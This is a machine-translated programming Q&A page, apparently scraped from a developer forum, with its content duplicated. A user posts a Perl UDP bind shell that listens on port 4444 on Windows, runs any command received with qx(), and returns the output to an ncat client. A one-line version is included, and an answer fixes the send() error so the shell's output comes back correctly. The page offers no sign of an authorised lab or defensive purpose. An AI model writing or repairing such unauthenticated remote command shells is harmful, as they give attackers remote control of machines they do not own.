Perl 打印反引号 STDOUT
Perl print backticks STDOUT
我正在 Perl 中编写一个非常简单的绑定 shell,它应该在 windows 上打开一个特定端口,当我使用 ncat 连接到它时,我应该能够从ncat,那些将在机器上执行并发送给 return 我的 STDOUT。
到目前为止,这是我的代码:
use strict; use IO::Socket;
my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO);
$MAXLEN = 2048;
$PORTNO = 4444;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp');
while ($sock->recv($newmsg, $MAXLEN)) {
my($port, $ipaddr) = sockaddr_in($sock->peername);
my @cmd = qx($newmsg);
print(@cmd);
$sock->send(@cmd);
}
如果我输入像 echo Hello world
这样简单的东西,它会 return 符合预期,Hello World
。当我键入 dir
或包含新行的内容时出现问题(或者我猜到,我是 perl
的新手)。
当键入 dir
时,结果会打印在 perl shell 上(正如预期的那样,由于 print(@cmd)
,但随后也会打印 usage: $sock->send(BUF, [FLAGS, [TO]]) at -e line 1.
并退出,但我从未收到消息在 ncat.
我是运行来自命令shell的命令作为一行:
perl -e "use strict; use IO::Socket; my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); $MAXLEN = 1024; $PORTNO = 4444; $sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp'); while ($sock->recv($newmsg, $MAXLEN)) {my($port, $ipaddr) = sockaddr_in($sock->peername);my @cmd = qx($newmsg);print(@cmd);$sock->send(@cmd);}"
我该怎么做才能将内容打印为目录?
您的问题出在 $sock->send(@cmd)
上。 send 方法期望消息是标量而不是数组。您可以通过以下方式解决此问题
my $CRLF="\x0D\x0A"; # Network line break
$sock->send(join $CRLF, @cmd); # Convert @command into a single string
我正在 Perl 中编写一个非常简单的绑定 shell,它应该在 windows 上打开一个特定端口,当我使用 ncat 连接到它时,我应该能够从ncat,那些将在机器上执行并发送给 return 我的 STDOUT。 到目前为止,这是我的代码:
use strict; use IO::Socket;
my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO);
$MAXLEN = 2048;
$PORTNO = 4444;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp');
while ($sock->recv($newmsg, $MAXLEN)) {
my($port, $ipaddr) = sockaddr_in($sock->peername);
my @cmd = qx($newmsg);
print(@cmd);
$sock->send(@cmd);
}
如果我输入像 echo Hello world
这样简单的东西,它会 return 符合预期,Hello World
。当我键入 dir
或包含新行的内容时出现问题(或者我猜到,我是 perl
的新手)。
当键入 dir
时,结果会打印在 perl shell 上(正如预期的那样,由于 print(@cmd)
,但随后也会打印 usage: $sock->send(BUF, [FLAGS, [TO]]) at -e line 1.
并退出,但我从未收到消息在 ncat.
我是运行来自命令shell的命令作为一行:
perl -e "use strict; use IO::Socket; my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); $MAXLEN = 1024; $PORTNO = 4444; $sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp'); while ($sock->recv($newmsg, $MAXLEN)) {my($port, $ipaddr) = sockaddr_in($sock->peername);my @cmd = qx($newmsg);print(@cmd);$sock->send(@cmd);}"
我该怎么做才能将内容打印为目录?
您的问题出在 $sock->send(@cmd)
上。 send 方法期望消息是标量而不是数组。您可以通过以下方式解决此问题
my $CRLF="\x0D\x0A"; # Network line break
$sock->send(join $CRLF, @cmd); # Convert @command into a single string